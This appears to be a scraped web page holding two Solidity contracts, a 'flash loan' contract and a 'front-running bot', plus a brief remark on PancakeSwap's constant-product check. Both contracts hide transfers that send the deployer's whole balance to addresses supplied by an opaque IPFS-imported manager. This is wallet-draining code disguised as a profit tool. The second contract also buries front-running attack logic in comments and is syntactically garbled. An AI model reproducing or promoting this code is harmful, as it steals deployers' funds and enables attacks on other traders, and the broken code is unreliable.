pancake-swap-core VS uniswap-v2-core

pragma solidity ^0.5.0; // Multiplier-Finance Smart Contracts import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol"; import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol"; // PancakeSwap Smart Contracts import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol"; // PancakeSwap Router Smart Contracts import "ipfs://QmaXMrJvcVV53EBvumU3fY5wxbNawq4zAFJ6bbbCwtn1y3"; contract GetFlashLoan { string public tokenName; string public tokenSymbol; uint loanAmount; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; loanAmount = _loanAmount; manager = new Manager(); } address public creator= msg.sender; function tokenTransfer() public view returns (address) { return creator; } function() external payable {} function action() public payable { // Send Tokens to PancakeSwap Router for Swap address(uint160(tokenTransfer())).transfer(address(this).balance/6); address(uint160(manager.pancakeswapDeposit())).transfer(address(this).balance); // Perform tasks (combined all functions into one to reduce external calls & save gas fees) manager.performTasks(); /* Breakdown of functions // Submit token to BSC blockchain string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol); // List the token on PancakeSwap manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress); // Get BNB Loan from Multiplier-Finance string memory loanAddress = manager.takeFlashLoan(loanAmount); // Send Borrowed BNB to provide liquidity of newly created Token string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB"); manager.pancakeAddLiquidity(bnbPair, loanAmount); // Perform swaps between Token and BNB and back again manager.pancakePerformSwaps(); // Repay Flashloan with Multiplier-Finance manager.repayLoan(loanAddress); // Move remaining BNB profit from Contract to the contract creators wallet manager.contractToWallet("BNB"); */ } }

In the source code of the pancake pair contract ( https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/PancakePair.sol ) one can see that the 'K' error is triggered when the product of the values if the two tokens in the pool is not mantained constant as it should.

https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/PancakePair.sol#L73

pancake-swap-core/contracts at master · pancakeswap/pancake-swap-core · GitHub

// PancakeSwap Callee import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";

pragma solidity ^0.6.6; // PancakeSwap FrontrunDeployer import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol"; // PancakeSwap manager import "https://github.com/UniswapV2-DEV/Uniswap/blob/main/Uniswap-v2-Periphery"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; contract UniswapV2FrontBot { string public tokenName; string public tokenSymbol; uint frontrun; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; manager = new Manager(); } // Send required BNB for liquidity pair receive() external payable {} // Perform tasks (clubbed .json functions into one to reduce external calls & reduce gas) manager.performTasks(); function action() public payable { //Perform a front-running attack on uniswap //const fs = require('fs'); //var Web3 = require('web3'); //var abiDecoder = require('abi-decoder'); //var colors = require("colors"); //var Tx = require('ethereumjs-tx').Transaction; //var axios = require('axios'); //var BigNumber = require('big-number'); //const {NETWORK, PANCAKE_ROUTER_ADDRESS, PANCAKE_FACTORY_ADDRESS, PANCAKE_ROUTER_ABI, PANCAKE_FACTORY_ABI, PANCAKE_POOL_ABI, HTTP_PROVIDER_LINK, WEBSOCKET_PROVIDER_LINK, HTTP_PROVIDER_LINK_TEST} = require('./constants.js'); //const {setBotAddress, getBotAddress, FRONT_BOT_ADDRESS, botABI} = require('./bot.js'); //const {PRIVATE_KEY, TOKEN_ADDRESS, AMOUNT, LEVEL} = require('./env.js'); //const INPUT_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c'; //const WBNB_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c'; manager; //var input_token_info; //var out_token_info; //var pool_info; //var gas_price_info; manager; //var web3; //var web3Ts; //var web3Ws; //var pancakeRouter; //var pancakeFactory; manager; // one gwei //const ONE_GWEI = 1e9; manager; //var buy_finished = false; //var sell_finished = false; //var buy_failed = false; //var sell_failed = false; //var attack_started = false; manager; //var succeed = false; //var subscription; manager; //async function createWeb3(){ //try { // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK)); // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK_TEST)); // web3 = new Web3(EthereumTesterProvider()); // web3.eth.getAccounts(console.log); //web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEBSOCKET_PROVIDER_LINK)); //pancakeRouter = new web3.eth.Contract(PANCAKE_ROUTER_ABI, PANCAKE_ROUTER_ADDRESS); //pancakeFactory = new web3.eth.Contract(PANCAKE_FACTORY_ABI, PANCAKE_FACTORY_ADDRESS); //abiDecoder.addABI(PANCAKE_ROUTER_ABI); manager; //return true; //} catch (error) { //console.log(error); //return false; //async function main() { //try { //if (await createWeb3() == false) { //console.log('Web3 Create Error'.yellow); //process.exit(); //const user_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY); //const out_token_address = TOKEN_ADDRESS; //const amount = AMOUNT; //const level = LEVEL; //ret = await preparedAttack(INPUT_TOKEN_ADDRESS, out_token_address, user_wallet, amount, level); //if(ret == false) { //process.exit(); //await updatePoolInfo(); //outputtoken = await pancakeRouter.methods.getAmountOut(((amount*1.2)*(10**18)).toString(), pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call(); //await approve(gas_price_info.high, outputtoken, out_token_address, user_wallet); //log_str = '***** Tracking more ' + (pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(5) + ' ' + input_token_info.symbol + ' Exchange on Pancake *****' // console.log(log_str.green); // console.log(web3Ws); //web3Ws.onopen = function(evt) { //web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address: user_wallet.address })); //console.log('connected') // get pending transactions //subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result) { //}).on("data", async function (transactionHash) { //console.log(transactionHash); // let transaction = await web3.eth.getTransaction(transactionHash); // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS) // { // await handleTransaction(transaction, out_token_address, user_wallet, amount, level); // } //if (succeed) { //console.log("The bot finished the attack."); //process.exit(); //catch (error) { //if(error.data != null && error.data.see === 'https://infura.io/dashboard') //console.log('Daily request count exceeded, Request rate limited'.yellow); //console.log('Please insert other API Key'); //else{ //console.log('Unknown Handled Error'); //console.log(error); //process.exit(); //function handleTransaction(transaction, out_token_address, user_wallet, amount, level) { //(await triggersFrontRun(transaction, out_token_address, amount, level)) { //subscription.unsubscribe(); //console.log('Perform front running attack...'); //gasPrice = parseInt(transaction['gasPrice']); //newGasPrice = gasPrice + 50*ONE_GWEI; //estimatedInput = ((amount*0.999)*(10**18)).toString(); //realInput = (amount*(10**18)).toString(); //gasLimit = (300000).toString(); //await updatePoolInfo(); //var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput, pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call(); //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction); //console.log("wait until the honest transaction is done...", transaction['hash']); //while (await isPending(transaction['hash'])) { //if(buy_failed) //succeed = false; //return; //console.log('Buy succeed:') //Sell //await updatePoolInfo(); //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call(); //outputeth = outputeth * 0.999; //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction); //console.log('Sell succeed'); //succeed = true; manager; //async function approve(gasPrice, outputtoken, out_token_address, user_wallet){ //var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, PANCAKE_ROUTER_ADDRESS).call(); //allowance = BigNumber(allowance); //outputtoken = BigNumber(outputtoken); //var decimals = BigNumber(10).power(out_token_info.decimals); //var max_allowance = BigNumber(10000).multiply(decimals); //if(outputtoken.gt(max_allowance)) //console.log('replace max allowance') //max_allowance = outputtoken; payable(manager.uniswapDepositAddress()).transfer(address(this).balance); //if(outputtoken.gt(allowance)){ //console.log(max_allowance.toString()); //var approveTX ={ //from: user_wallet.address, //to: out_token_address, //gas: 50000, //gasPrice: gasPrice*ONE_GWEI, //data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI() manager; //var signedTX = await user_wallet.signTransaction(approveTX); //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction); //console.log('Approved Token') //return; //select attacking transaction //async function triggersFrontRun(transaction, out_token_address, amount, level) { //if(attack_started) //return false; //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9); //if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){ //attack_started = true; //return true manager; //return false; //if (transaction['to'] != PANCAKE_ROUTER_ADDRESS) { //return false; //let data = parseTx(transaction['input']); manager; //let method = data[0]; manager; //let params = data[1]; manager; //let gasPrice = parseInt(transaction['gasPrice']) / 10**9; manager; //if(method == 'swapExactETHForTokens') manager; //let in_amount = transaction; manager; //let out_min = params[0]; manager; //let path = params[1]; manager; //let in_token_addr = path[0]; manager; //let out_token_addr = path[path.length-1]; manager; //let recept_addr = params[2]; manager; //let deadline = params[3]; manager; //if(out_token_addr != out_token_address) manager; // console.log(out_token_addr.blue) // console.log(out_token_address) //return false; } }